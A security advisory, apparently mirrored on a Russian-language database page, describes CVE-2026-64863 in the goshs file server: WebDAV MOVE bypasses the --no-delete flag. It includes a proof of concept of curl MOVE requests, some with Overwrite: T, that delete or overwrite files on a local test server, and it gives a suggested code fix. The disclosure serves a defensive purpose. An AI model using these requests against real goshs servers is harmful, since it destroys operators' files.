GHSA-hq33-8jgp-8qq3

Опубликовано: 28 июл. 2026

Источник: github

Github: Прошло ревью

CVSS3: 9.1

Описание

goshs --no-delete WebDAV MOVE bypass allows file deletion/overwrite

Summary

The WebDAV mode-flag guard added to fix GHSA-3whc-qvhv-xqjp still does not enforce --no-delete on the WebDAV MOVE verb. MOVE deletes the source file (rename removes it from its original path), and with Overwrite: T it additionally performs an explicit RemoveAll on the destination. Under -w --no-delete, DELETE is correctly blocked (403) but MOVE still destroys existing files, defeating the documented "Disable the delete option" boundary.

This is a residual of the parent fix: the guard classifies MOVE/COPY as write-only verbs (blocked only under --read-only) and never treats MOVE as a delete, so the --no-delete branch never covers it.

Affected

goshs v2.1.3 (current release, commit ba00ce3). The guard was introduced when GHSA-3whc-qvhv-xqjp was fixed and carries the gap forward.

Details

httpserver/server.go, wdGuard (lines 237-254):

wdGuard := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.Method { case http.MethodPut, "MKCOL", "MOVE", "COPY": if fs.ReadOnly { http.Error(w, "read-only", http.StatusForbidden) return } case http.MethodDelete: if fs.ReadOnly || fs.UploadOnly || fs.NoDelete { http.Error(w, "delete disabled", http.StatusForbidden) return } case http.MethodGet, http.MethodHead: if fs.UploadOnly { http.Error(w, "upload-only", http.StatusForbidden) return } } ...

MOVE lives in the first case and is gated only by fs.ReadOnly. It is never checked against fs.NoDelete. But MOVE in golang.org/x/net/webdav (file.go, moveFiles) calls fs.Rename(ctx, src, dst), which removes the source from its original location, and when the Overwrite: T header is present it first calls fs.RemoveAll(ctx, dst) on an existing destination. Both are deletions. So --no-delete, whose help text reads "Disable the delete option", does not disable deletion via MOVE.

The .goshs ACL layer (webdav_acl.go) checks auth and block-lists only; it does not enforce the mode flags, so it does not close this gap.

Proof of concept

Reproduced live against goshs v2.1.3 on 2026-07-02. Server started with --no-delete and WebDAV enabled:

$ printf 'TOP-SECRET-CONTENTS\n' > webroot/secret.txt $ printf 'VICTIM-EXISTING-FILE\n' > webroot/victim.txt $ goshs -d webroot -i 127.0.0.1 -p 18080 --webdav --webdav-port 18081 --no-delete INFO Serving WEBDAV on 127.0.0.1:18081 from webroot

Control - DELETE is correctly blocked:

$ curl -s -i -X DELETE http://127.0.0.1:18081/secret.txt HTTP/1.1 403 Forbidden Content-Type: text/plain; charset=utf-8 Server: goshs/v2.1.3 (darwin; go1.26.1)

secret.txt still exists on disk.

Bypass 1 - MOVE removes the source file despite --no-delete:

$ curl -s -i -X MOVE -H 'Destination: http://127.0.0.1:18081/gone.txt' http://127.0.0.1:18081/secret.txt HTTP/1.1 201 Created Server: goshs/v2.1.3 (darwin; go1.26.1)

secret.txt is now deleted from disk (its content is at gone.txt).

Bypass 2 - MOVE with Overwrite:T destroys an existing victim file:

# before: victim.txt = VICTIM-EXISTING-FILE $ curl -s -i -X MOVE -H 'Destination: http://127.0.0.1:18081/victim.txt' -H 'Overwrite: T' http://127.0.0.1:18081/gone.txt HTTP/1.1 204 No Content Server: goshs/v2.1.3 (darwin; go1.26.1) # after: victim.txt = TOP-SECRET-CONTENTS (original VICTIM-EXISTING-FILE destroyed via RemoveAll)

Impact

An operator running goshs -w --no-delete -d /srv/artifacts to deliver files that must not be removed still allows any WebDAV client to delete or clobber existing files via MOVE. Confidential existing files can be renamed away or overwritten. The --no-delete control is silently ineffective on the WebDAV port for the MOVE verb.

Suggested fix

Move MOVE (and COPY on collision-with-overwrite, which also deletes) into the delete-gated branch, or add fs.NoDelete to the write-verb branch for MOVE:

case http.MethodPut, "MKCOL", "COPY": if fs.ReadOnly { http.Error(w, "read-only", http.StatusForbidden) return } case "MOVE": // MOVE renames (deletes source) and, with Overwrite:T, RemoveAll(dst). if fs.ReadOnly || fs.UploadOnly || fs.NoDelete { http.Error(w, "move disabled", http.StatusForbidden) return } case http.MethodDelete: if fs.ReadOnly || fs.UploadOnly || fs.NoDelete { http.Error(w, "delete disabled", http.StatusForbidden) return }

Add an integration test covering MOVE under --no-delete (the current testWebdavMoveCopy only exercises MOVE/COPY in unrestricted mode).

Ссылки

Пакеты

Наименование

goshs.de/goshs/v2

Затронутые версииВерсия исправления

<= 2.1.3

2.1.4

Наименование

github.com/patrickhener/goshs/v2

Затронутые версииВерсия исправления

<= 2.1.3

2.1.4

Наименование

goshs.de/goshs

Затронутые версииВерсия исправления

<= 1.1.4

Отсутствует

Наименование

github.com/patrickhener/goshs

Затронутые версииВерсия исправления

<= 1.1.4

Отсутствует

EPSS

Процентиль: 26%

0.00337

Низкий

9.1 Critical

CVSS3

CVE ID

CVE-2026-64863

Дефекты

CWE-284

Связанные уязвимости

CVE-2026-64863

CVSS3: 9.1

nvd

11 дней назад

goshs is a feature-rich single-binary file server for red teamers and developers. Prior to 2.1.4, the httpserver/server.go wdGuard handled WebDAV MOVE as a write-only method and did not enforce --no-delete, allowing WebDAV clients to delete or overwrite files via MOVE with Overwrite: T. This issue is fixed in version 2.1.4.

EPSS

Процентиль: 26%

0.00337

Низкий

9.1 Critical

CVSS3

CVE ID

CVE-2026-64863

Дефекты

CWE-284